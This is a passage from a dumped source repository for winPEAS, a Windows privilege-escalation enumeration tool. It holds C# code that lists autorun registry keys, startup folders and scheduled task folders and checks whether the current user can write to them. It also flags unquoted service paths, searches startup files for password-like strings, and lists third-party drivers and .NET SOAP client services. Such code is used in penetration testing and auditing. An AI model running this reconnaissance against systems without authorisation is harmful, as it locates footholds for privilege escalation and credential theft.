\"HKLM\", @\"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellServiceObjects\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\", \"StubPath\"},\n            new List<string> { \"HKCU\", @\"Software\\Classes\\*\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\*\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKCU\", @\"Software\\Classes\\Drive\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\Drive\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\*\\ShellEx\\PropertySheetHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\*\\ShellEx\\PropertySheetHandlers\", \"StubPath\"},\n            new List<string> { \"HKCU\", @\"Software\\Classes\\Directory\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Directory\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\Directory\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKCU\", @\"Software\\Classes\\Directory\\Shellex\\DragDropHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Directory\\Shellex\\DragDropHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\Directory\\Shellex\\DragDropHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Directory\\Shellex\\CopyHookHandlers\", \"StubPath\"},\n            new List<string> { \"HKCU\", @\"Software\\Classes\\Directory\\Background\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Directory\\Background\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\Directory\\Background\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Folder\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\Folder\\ShellEx\\ContextMenuHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Folder\\ShellEx\\DragDropHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\Folder\\ShellEx\\DragDropHandlers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellIconOverlayIdentifiers\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellIconOverlayIdentifiers\", \"StubPath\"},\n\n            // Misc Startup keys\n            new List<string> { \"HKLM\", @\"Software\\Classes\\Filter\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\CLSID\\{083863F1-70DE-11d0-BD40-00A0C911CE86}\\Instance\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\CLSID\\{083863F1-70DE-11d0-BD40-00A0C911CE86}\\Instance\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Classes\\CLSID\\{7ED96837-96F0-4812-B211-F13C24117ED3}\\Instance\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Classes\\CLSID\\{7ED96837-96F0-4812-B211-F13C24117ED3}\\Instance\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"System\\CurrentControlSet\\Services\\WinSock2\\Parameters\\Protocol_Catalog9\\Catalog_Entries\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"System\\CurrentControlSet\\Services\\WinSock2\\Parameters\\Protocol_Catalog9\\Catalog_Entries64\", \"StubPath\"},\n        };\n\n\n        //This registry expect subkeys with the CLSID name\n        private static List<List<string>> autorunLocationsKeysCLSIDs = new List<List<string>>\n        {\n            //Browser Helper Objects\n            new List<string> { \"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\" },\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\" },\n\n            //Internet Explorer Extensions\n            new List<string> { \"HKLM\", @\"Software\\Microsoft\\Internet Explorer\\Extensions\" },\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Internet Explorer\\Extensions\" },\n        };\n\n        //////////////////////////////////////\n        ///////  Get Autorun Registry ////////\n        //////////////////////////////////////\n        /// Find Autorun registry where you have write or equivalent access\n        private static IEnumerable<Dictionary<string, string>> GetRegistryAutoRuns(Dictionary<string, string> NtAccountNames)\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                //Add the keyvalues inside autorunLocationsKeys to autorunLocations\n                foreach (List<string> autorunLocationKey in autorunLocationsKeys)\n                {\n                    List<string> subkeys = RegistryHelper.GetRegSubkeys(autorunLocationKey[0], autorunLocationKey[1]).ToList();\n                    foreach (string keyname in subkeys)\n                    {\n                        string clsid_name = keyname;\n                        Match clsid = Regex.Match(keyname, @\"^\\W*(\\{[\\w\\-]+\\})\\W*\");\n                        if (clsid.Groups.Count > 1) //Sometime the CLSID is bad writting and this kind of fix common mistakes\n                        {\n                            clsid_name = clsid.Groups[1].ToString();\n                        }\n\n                        autorunLocations.Add(autorunLocationKey.Count > 2\n                            ? new List<string>\n                            {\n                                autorunLocationKey[0], autorunLocationKey[1] + \"\\\\\" + clsid_name, autorunLocationKey[2]\n                            }\n                            : new List<string> { autorunLocationKey[0], autorunLocationKey[1] + \"\\\\\" + clsid_name });\n                    }\n                }\n\n                //Read registry and get values\n                foreach (List<string> autorunLocation in autorunLocations)\n                {\n                    Dictionary<string, object> settings = RegistryHelper.GetRegValues(autorunLocation[0], autorunLocation[1]);\n                    if ((settings != null) && (settings.Count != 0))\n                    {\n                        foreach (KeyValuePair<string, object> kvp in settings)\n                        {\n                            RegistryKey key = null;\n                            if (\"HKLM\" == autorunLocation[0])\n                            {\n                                key = Registry.LocalMachine.OpenSubKey(autorunLocation[1]);\n                            }\n                            else\n                            {\n                                key = Registry.CurrentUser.OpenSubKey(autorunLocation[1]);\n                            }\n\n                            if (autorunLocation.Count > 2 && kvp.Key != autorunLocation[2])\n                            {\n                                continue; //If only interested on 1 key of the registry and it's that one, continue\n                            }\n\n                            string orig_filepath = Environment.ExpandEnvironmentVariables(string.Format(\"{0}\", kvp.Value));\n                            string filepath = orig_filepath;\n\n                            if (MyUtils.GetExecutableFromPath(Environment.ExpandEnvironmentVariables(string.Format(\"{0}\", kvp.Value))).Length > 0)\n                            {\n                                filepath = MyUtils.GetExecutableFromPath(filepath);\n                            }\n\n                            string filepath_cleaned = filepath.Replace(\"'\", \"\").Replace(\"\\\"\", \"\");\n                            string folder = Path.GetDirectoryName(filepath_cleaned);\n\n                            try\n                            {\n                                //If the path doesn't exist, pass\n                                if (File.GetAttributes(filepath_cleaned).HasFlag(FileAttributes.Directory))\n                                {\n                                    //If the path is already a folder, change the values of the params\n                                    orig_filepath = \"\";\n                                    folder = filepath_cleaned;\n                                }\n                            }\n                            catch\n                            {\n                            }\n\n                            var injectablePaths = new List<string>();\n                            var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(filepath, out injectablePaths);\n\n                            results.Add(new Dictionary<string, string>()\n                            {\n                                {\"Reg\", autorunLocation[0] + \"\\\\\" + autorunLocation[1]},\n                                {\"RegKey\", kvp.Key},\n                                {\"Folder\", folder},\n                                {\"File\", orig_filepath},\n                                {\n                                    \"RegPermissions\",\n                                    string.Join(\", \", PermissionsHelper.GetMyPermissionsR(key, Checks.Checks.CurrentUserSiDs))\n                                },\n                                {\n                                    \"interestingFolderRights\",\n                                    string.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))\n                                },\n                                {\n                                    \"interestingFileRights\",\n                                    orig_filepath.Length > 1 ? string.Join(\", \", PermissionsHelper.GetPermissionsFile(orig_filepath, Checks.Checks.CurrentUserSiDs)) : \"\"\n                                },\n                                {\"isUnquotedSpaced\", isUnquotedSpaced ? string.Join(\",\", injectablePaths) : \"false\" }\n                            });\n                        }\n                    }\n                }\n\n                //Check the autoruns that depends on CLSIDs\n                foreach (List<string> autorunLocation in autorunLocationsKeysCLSIDs)\n                {\n                    List<string> CLSIDs = RegistryHelper.GetRegSubkeys(autorunLocation[0], autorunLocation[1]).ToList();\n                    foreach (string clsid in CLSIDs)\n                    {\n                        string reg = autorunLocation[1] + \"\\\\\" + clsid;\n                        RegistryKey key = null;\n                        if (\"HKLM\" == autorunLocation[0])\n                            key = Registry.LocalMachine.OpenSubKey(reg);\n                        else\n                            key = Registry.CurrentUser.OpenSubKey(reg);\n\n                        string orig_filepath = MyUtils.GetCLSIDBinPath(clsid);\n                        if (string.IsNullOrEmpty(orig_filepath))\n                            continue;\n                        orig_filepath = Environment.ExpandEnvironmentVariables(orig_filepath).Replace(\"'\", \"\").Replace(\"\\\"\", \"\");\n                        string folder = Path.GetDirectoryName(orig_filepath);\n\n                        var injectablePaths = new List<string>();\n                        var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(orig_filepath, out injectablePaths);\n\n                        results.Add(new Dictionary<string, string>()\n                        {\n                            {\"Reg\", autorunLocation[0] + \"\\\\\" + reg},\n                            {\"RegKey\", \"\"},\n                            {\"Folder\", folder},\n                            {\"File\", orig_filepath},\n                            {\n                                \"RegPermissions\",\n                                string.Join(\", \", PermissionsHelper.GetMyPermissionsR(key , Checks.Checks.CurrentUserSiDs))\n                            },\n                            {\n                                \"interestingFolderRights\",\n                                string.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))\n                            },\n                            {\n                                \"interestingFileRights\",\n                                orig_filepath.Length > 1 ? string.Join(\", \", PermissionsHelper.GetPermissionsFile(orig_filepath, Checks.Checks.CurrentUserSiDs)) : \"\"\n                            },\n                            {\"isUnquotedSpaced\", isUnquotedSpaced ? string.Join(\",\", injectablePaths) : \"false\" }\n                        });\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static IEnumerable<Dictionary<string, string>> GetAutoRunsFolder()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n\n            var systemDrive = Environment.GetEnvironmentVariable(\"SystemDrive\");\n            var autorunLocations = new List<string>\n            {\n                Environment.ExpandEnvironmentVariables(@\"%programdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"),\n            };\n\n            string usersPath = Path.Combine(Environment.GetEnvironmentVariable(@\"USERPROFILE\"));\n            usersPath = Directory.GetParent(usersPath).FullName;\n\n            var config = YamlConfigHelper.GetWindowsSearchConfig();\n            var pwdInsideHistory = config.variables.FirstOrDefault(v => v.name.Equals(\"pwd_inside_history\", StringComparison.InvariantCultureIgnoreCase)).value;\n            // add .* around each element to match the whole line\n            var items = pwdInsideHistory.Split('|').Select(v => $\".*{v}.*\");\n            pwdInsideHistory = string.Join(\"|\", items);\n\n            try\n            {\n                if (Directory.Exists(usersPath))\n                {\n                    var userDirs = Directory.EnumerateDirectories(usersPath);\n\n                    foreach (var userDir in userDirs)\n                    {\n                        string startupPath = $@\"{userDir}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\";\n\n                        if (Directory.Exists(startupPath))\n                        {\n                            autorunLocations.Add(startupPath);\n                        }\n                    }\n                }\n            }\n            catch (Exception)\n            {\n            }\n\n            foreach (string path in autorunLocations)\n            {\n                try\n                {\n                    if (Directory.Exists(path))\n                    {\n                        var files = Directory.EnumerateFiles(path, \"*\", SearchOption.TopDirectoryOnly);\n\n                        foreach (string filepath in files)\n                        {\n                            var fileContent = File.ReadAllText(filepath);\n                            var sensitiveInfoList = FileAnalysis.SearchContent(fileContent, pwdInsideHistory, false);\n                            // remove all non-printable and control characters\n                            sensitiveInfoList = sensitiveInfoList.Select(s => s = Regex.Replace(s, @\"\\p{C}+\", string.Empty)).ToList();\n\n                            var injectablePaths = new List<string>();\n                            var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(filepath, out injectablePaths);\n\n                            string folder = Path.GetDirectoryName(filepath);\n                            results.Add(new Dictionary<string, string>() {\n                                { \"Reg\", \"\" },\n                                { \"RegKey\", \"\" },\n                                { \"RegPermissions\", \"\" },\n                                { \"Folder\", folder },\n                                { \"File\", filepath },\n                                { \"isWritableReg\", \"\"},\n                                { \"interestingFolderRights\", string.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},\n                                { \"interestingFileRights\", string.Join(\", \", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},\n                                {\"isUnquotedSpaced\", isUnquotedSpaced ? string.Join(\",\", injectablePaths) : \"false\" },\n                                { \"sensitiveInfoList\", string.Join(\", \", sensitiveInfoList) },\n                            });\n                        }\n                    }\n                }\n                catch (Exception)\n                {\n                }\n            }\n\n            var taskAutorunLocations = new HashSet<string>()\n            {\n                $\"{systemDrive}\\\\windows\\\\tasks\",\n                $\"{systemDrive}\\\\windows\\\\system32\\\\tasks\",\n            };\n\n            foreach (string folder in taskAutorunLocations)\n            {\n                try\n                {\n                    var injectablePaths = new List<string>();\n                    var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(folder, out injectablePaths);\n\n                    results.Add(new Dictionary<string, string>() {\n                        { \"Reg\", \"\" },\n                        { \"RegKey\", \"\" },\n                        { \"RegPermissions\", \"\" },\n                        { \"Folder\", folder },\n                        { \"File\", \"\" },\n                        { \"isWritableReg\", \"\"},\n                        { \"interestingFolderRights\", string.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},\n                        { \"interestingFileRights\", \"\"},\n                        {\"isUnquotedSpaced\", isUnquotedSpaced ? string.Join(\",\", injectablePaths) : \"false\" }\n                    });\n                }\n                catch (Exception)\n                {\n                }\n            }\n\n            return results;\n        }\n\n        private static IEnumerable<Dictionary<string, string>> GetAutoRunsWMIC()\n        {\n            var results = new List<Dictionary<string, string>>();\n            try\n            {\n                SelectQuery query = new SelectQuery(\"Win32_StartupCommand\");\n\n                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))\n                {\n                    using (ManagementObjectCollection win32_startup = searcher.Get())\n                    {\n                        foreach (ManagementObject startup in win32_startup)\n                        {\n                            string command = startup[\"command\"].ToString();\n                            command = Environment.ExpandEnvironmentVariables(string.Format(\"{0}\", command));\n                            string filepath = MyUtils.GetExecutableFromPath(command);\n\n                            if (!string.IsNullOrEmpty(filepath))\n                            {\n                                string filepathCleaned = filepath.Replace(\"'\", \"\").Replace(\"\\\"\", \"\");\n\n                                try\n                                {\n                                    string folder = Path.GetDirectoryName(filepathCleaned);\n                                    var injectablePaths = new List<string>();\n                                    var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(command, out injectablePaths);\n\n                                    results.Add(new Dictionary<string, string>()\n                                {\n                                    {\"Reg\", \"\"},\n                                    {\"RegKey\", \"From WMIC\"},\n                                    {\"RegPermissions\", \"\"},\n                                    {\"Folder\", folder},\n                                    {\"File\", command},\n                                    {\"isWritableReg\", \"\"},\n                                    {\n                                        \"interestingFolderRights\",\n                                        string.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))\n                                    },\n                                    {\n                                        \"interestingFileRights\",\n                                        string.Join(\", \", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))\n                                    },\n                                    {\"isUnquotedSpaced\", isUnquotedSpaced ? string.Join(\",\", injectablePaths) : \"false\" }\n                                });\n                                }\n                                catch (Exception)\n                                {\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception e)\n            {\n                Beaprint.GrayPrint(\"Error getting autoruns from WMIC: \" + e);\n            }\n            return results;\n        }\n\n        private static IEnumerable<Dictionary<string, string>> GetAutoRunsFiles()\n        {\n            var results = new List<Dictionary<string, string>>();\n            var systemDrive = Environment.GetEnvironmentVariable(\"SystemDrive\");\n            var autostartFiles = new HashSet<string>\n            {\n                $\"{systemDrive}\\\\autoexec.bat\",\n                $\"{systemDrive}\\\\config.sys\",\n                $\"{systemDrive}\\\\windows\\\\winstart.bat\",\n                $\"{systemDrive}\\\\windows\\\\wininit.ini\",\n                $\"{systemDrive}\\\\windows\\\\dosstart.bat\",\n                $\"{systemDrive}\\\\windows\\\\system.ini\",\n                $\"{systemDrive}\\\\windows\\\\win.ini\",\n                $\"{systemDrive}\\\\windows\\\\system\\\\autoexec.nt\",\n                $\"{systemDrive}\\\\windows\\\\system\\\\config.nt\"\n            };\n\n            foreach (string path in autostartFiles)\n            {\n                try\n                {\n                    if (File.Exists(path))\n                    {\n                        string folder = Path.GetDirectoryName(path);\n                        var injectablePaths = new List<string>();\n                        var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(path, out injectablePaths);\n\n                        results.Add(new Dictionary<string, string>\n                        {\n                            { \"Reg\", \"\" },\n                            { \"RegKey\", \"\" },\n                            { \"RegPermissions\", \"\" },\n                            { \"Folder\", folder },\n                            { \"File\", path },\n                            { \"isWritableReg\", \"\"},\n                            { \"interestingFolderRights\", string.Join(\", \", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},\n                            { \"interestingFileRights\", string.Join(\", \", PermissionsHelper.GetPermissionsFile(path, Checks.Checks.CurrentUserSiDs))},\n                            {\"isUnquotedSpaced\", isUnquotedSpaced ? string.Join(\",\", injectablePaths) : \"false\" }\n                        });\n                    }\n                }\n                catch (Exception)\n                {\n                }\n            }\n\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/DeviceDrivers.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\n\nnamespace winPEAS.Info.ApplicationInfo\n{\n    internal static class DeviceDrivers\n    {\n        public static Dictionary<string, FileVersionInfo> GetDeviceDriversNoMicrosoft()\n        {\n            Dictionary<string, FileVersionInfo> results = new Dictionary<string, FileVersionInfo>();\n\n            // ignore ghosts\n            // https://devblogs.microsoft.com/oldnewthing/20160913-00/?p=94305\n            Regex ignoreGhosts = new Regex(\"^dump_\", RegexOptions.Compiled | RegexOptions.IgnoreCase);\n            // manufacturer/providers to ignore\n            Regex ignoreCompany = new Regex(\"^Microsoft\", RegexOptions.Compiled | RegexOptions.IgnoreCase);\n\n            string system32 = Environment.SystemDirectory;\n\n            // Get a list of loaded kernel modules\n            Psapi.EnumDeviceDrivers(null, 0, out var neededBytes);\n            UIntPtr[] drivers = new UIntPtr[neededBytes / UIntPtr.Size];\n            Psapi.EnumDeviceDrivers(drivers, (UInt32)(drivers.Length * UIntPtr.Size), out neededBytes);\n\n            // iterate over modules\n            foreach (UIntPtr baseAddr in drivers)\n            {\n                StringBuilder buffer = new StringBuilder(1024);\n                Psapi.GetDeviceDriverBaseName(baseAddr, buffer, (UInt32)buffer.Capacity);\n                if (ignoreGhosts.IsMatch(buffer.ToString()))\n                {\n                    continue;\n                }\n                Psapi.GetDeviceDriverFileName(baseAddr, buffer, (UInt32)buffer.Capacity);\n                string pathname = buffer.ToString();\n\n                // GetDeviceDriverFileName can return a path in a various number of formats, below code tries to handle them.\n                // https://community.osr.com/discussion/228671/querying-device-driver-list-from-kernel-mode\n                if (pathname.StartsWith(\"\\\\??\\\\\"))\n                {\n                    pathname = pathname.Remove(0, 4);\n                }\n\n                if (File.Exists(pathname))\n                {\n                    // intentionally empty\n                }\n                else if (pathname[0] == '\\\\')\n                {\n                    // path could be either in the NtObject namespace or from the filesystem root (without drive)\n                    if (File.Exists(\"\\\\\\\\.\\\\GLOBALROOT\" + pathname))\n                    {\n                        pathname = \"\\\\\\\\.\\\\GLOBALROOT\" + pathname;\n                    }\n                    else if (File.Exists(system32.Substring(0, 2) + pathname))\n                    {\n                        pathname = system32.Substring(0, 2) + pathname;\n                    }\n                    else\n                    {\n                        Beaprint.GrayPrint($\"Ignoring unknown path {pathname}\");\n                        continue;\n                    }\n                }\n                else\n                {\n                    // probably module is a boot driver without a full path\n                    if (File.Exists(system32 + \"\\\\drivers\\\\\" + pathname))\n                    {\n                        pathname = system32 + \"\\\\drivers\\\\\" + pathname;\n                    }\n                    else if (File.Exists(system32 + \"\\\\\" + pathname))\n                    {\n                        pathname = system32 + \"\\\\\" + pathname;\n                    }\n                    else\n                    {\n                        Beaprint.GrayPrint($\"Ignoring unknown path {pathname}\");\n                        continue;\n                    }\n                }\n\n                if (!string.IsNullOrEmpty(pathname))\n                {\n                    var info = FileVersionInfo.GetVersionInfo(pathname.ToString());\n\n                    if (!string.IsNullOrEmpty(info.CompanyName) && !ignoreCompany.IsMatch(info.CompanyName))\n                    {\n                        results[pathname] = info;\n                    }\n                }\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/InstalledApps.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.ApplicationInfo\n{\n    internal static class InstalledApps\n    {\n        public static SortedDictionary<string, Dictionary<string, string>> GetInstalledAppsPerms()\n        {\n            //Get from Program Files\n            SortedDictionary<string, Dictionary<string, string>> results = GetInstalledAppsPermsPath(Path.GetPathRoot(Environment.SystemDirectory) + \"Program Files\");\n            SortedDictionary<string, Dictionary<string, string>> results2 = GetInstalledAppsPermsPath(Path.GetPathRoot(Environment.SystemDirectory) + \"Program Files (x86)\");\n            results.Concat(results2).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);\n\n            string[] registryPaths = new string[]\n            {\n                @\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\",\n                @\"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\"\n            };\n\n            foreach (var registryPath in registryPaths)\n            {\n                string[] subkeys = RegistryHelper.GetRegSubkeys(\"HKLM\", registryPath);\n                if (subkeys != null)\n                {\n                    foreach (string app in subkeys)\n                    {\n                        string installLocation = RegistryHelper.GetRegValue(\"HKLM\", string.Format(@\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0}\", app), \"InstallLocation\");\n                        if (string.IsNullOrEmpty(installLocation))\n                        {\n                            continue;\n                        }\n\n                        installLocation = installLocation.Replace(\"\\\"\", \"\");\n\n                        if (installLocation.EndsWith(@\"\\\"))\n                        {\n                            installLocation = installLocation.Substring(0, installLocation.Length - 1);\n                        }\n\n                        if (!results.ContainsKey(installLocation) && Directory.Exists(installLocation))\n                        {\n                            bool already = false;\n                            foreach (string path in results.Keys)\n                            {\n                                if (installLocation.IndexOf(path) != -1) //Check for subfoldres of already found folders\n                                {\n                                    already = true;\n                                    break;\n                                }\n                            }\n\n                            if (!already)\n                            {\n                                results[installLocation] = PermissionsHelper.GetRecursivePrivs(installLocation);\n                            }\n                        }\n                    }\n                }\n            }\n\n            return results;\n        }\n\n        private static SortedDictionary<string, Dictionary<string, string>> GetInstalledAppsPermsPath(string fpath)\n        {\n            var results = new SortedDictionary<string, Dictionary<string, string>>();\n            try\n            {\n                if (Directory.Exists(fpath))\n                {\n                    foreach (string f in Directory.EnumerateFiles(fpath))\n                    {\n                        results[f] = new Dictionary<string, string>\n                    {\n                        { f, string.Join(\", \", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }\n                    };\n                    }\n                    foreach (string d in Directory.EnumerateDirectories(fpath))\n                    {\n                        results[d] = PermissionsHelper.GetRecursivePrivs(d);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error: \" + ex);\n            }\n            return results;\n        }\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/SoapClientProxyAnalyzer.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing System.Text;\nusing winPEAS.Helpers;\nusing winPEAS.Info.ProcessInfo;\n\nnamespace winPEAS.Info.ApplicationInfo\n{\n    internal class SoapClientProxyInstance\n    {\n        public string SourceType { get; set; }\n        public string Name { get; set; }\n        public string Account { get; set; }\n        public string Extra { get; set; }\n    }\n\n    internal class SoapClientProxyFinding\n    {\n        public string BinaryPath { get; set; }\n        public List<SoapClientProxyInstance> Instances { get; } = new List<SoapClientProxyInstance>();\n        public HashSet<string> BinaryIndicators { get; } = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n        public HashSet<string> ConfigIndicators { get; } = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n        public string ConfigPath { get; set; }\n        public bool BinaryScanFailed { get; set; }\n        public bool ConfigScanFailed { get; set; }\n    }\n\n    internal static class SoapClientProxyAnalyzer\n    {\n        private class SoapClientProxyCandidate\n        {\n            public string BinaryPath { get; set; }\n            public string SourceType { get; set; }\n            public string Name { get; set; }\n            public string Account { get; set; }\n            public string Extra { get; set; }\n        }\n\n        private static readonly string[] BinaryIndicatorStrings = new[]\n        {\n            \"SoapHttpClientProtocol\",\n            \"HttpWebClientProtocol\",\n            \"DiscoveryClientProtocol\",\n            \"HttpSimpleClientProtocol\",\n            \"HttpGetClientProtocol\",\n            \"HttpPostClientProtocol\",\n            \"ServiceDescriptionImporter\",\n            \"System.Web.Services.Description.ServiceDescriptionImporter\",\n        };\n\n        private static readonly Dictionary<string, string> ConfigIndicatorMap = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)\n        {\n            { \"soap:address\", \"soap:address element present\" },\n            { \"soap12:address\", \"soap12:address element present\" },\n            { \"?wsdl\", \"?wsdl reference\" },\n            { \"<wsdl:\", \"WSDL schema embedded in config\" },\n            { \"servicedescriptionimporter\", \"ServiceDescriptionImporter referenced in config\" },\n            { \"system.web.services.description\", \"System.Web.Services.Description namespace referenced\" },\n            { \"new-webserviceproxy\", \"PowerShell New-WebServiceProxy referenced\" },\n            { \"file://\", \"file:// scheme referenced\" },\n        };\n\n        private const long MaxBinaryScanSize = 200 * 1024 * 1024; // 200MB\n        private static readonly object DotNetCacheLock = new object();\n        private static readonly Dictionary<string, bool> DotNetCache = new Dictionary<string, bool>(StringComparer.OrdinalIgnoreCase);\n\n        public static List<SoapClientProxyFinding> CollectFindings()\n        {\n            var findings = new Dictionary<string, SoapClientProxyFinding>(StringComparer.OrdinalIgnoreCase);\n\n            foreach (var candidate in EnumerateServiceCandidates().Concat(EnumerateProcessCandidates()))\n            {\n                if (string.IsNullOrEmpty(candidate.BinaryPath) || !File.Exists(candidate.BinaryPath))\n                {\n                    continue;\n                }\n\n                if (!findings.TryGetValue(candidate.BinaryPath, out var finding))\n                {\n                    finding = new SoapClientProxyFinding\n                    {\n                        BinaryPath = candidate.BinaryPath,\n                    };\n\n                    findings.Add(candidate.BinaryPath, finding);\n                }\n\n                finding.Instances.Add(new SoapClientProxyInstance\n                {\n                    SourceType = candidate.SourceType,\n                    Name = candidate.Name,\n                    Account = string.IsNullOrEmpty(candidate.Account) ? \"Unknown\" : candidate.Account,\n                    Extra = candidate.Extra ?? string.Empty,\n                });\n            }\n\n            foreach (var finding in findings.Values)\n            {\n                ScanBinaryIndicators(finding);\n                ScanConfigIndicators(finding);\n            }\n\n            return findings.Values\n                .Where(f => f.BinaryIndicators.Count > 0 || f.ConfigIndicators.Count > 0)\n                .OrderByDescending(f => f.BinaryIndicators.Contains(\"ServiceDescriptionImporter\"))\n                .ThenBy(f => f.BinaryPath, StringComparer.OrdinalIgnoreCase)\n                .ToList();\n        }\n\n        private static IEnumerable<SoapClientProxyCandidate> EnumerateServiceCandidates()\n        {\n            var results = new List<SoapClientProxyCandidate>();\n            try\n            {\n                using (var searcher = new ManagementObjectSearcher(@\"root\\\\cimv2\", \"SELECT Name, DisplayName, PathName, StartName FROM Win32_Service\"))\n                using (var services = searcher.Get())\n                {\n                    foreach (ManagementObject service in services)\n                    {\n                        string pathName = service[\"PathName\"]?.ToString();\n                        string binaryPath = MyUtils.GetExecutableFromPath(pathName ?? string.Empty);\n                        if (string.IsNullOrEmpty(binaryPath) || !File.Exists(binaryPath))\n                            continue;\n\n                        if (!IsDotNetBinary(binaryPath))\n                            continue;\n\n                        results.Add(new SoapClientProxyCandidate\n                        {\n                            BinaryPath = binaryPath,\n                            SourceType = \"Service\",\n                            Name = service[\"Name\"]?.ToString() ?? string.Empty,\n                            Account = service[\"StartName\"]?.ToString() ?? string.Empty,\n                            Extra = service[\"DisplayName\"]?.ToString() ?? string.Empty,\n                        });\n                    }\n                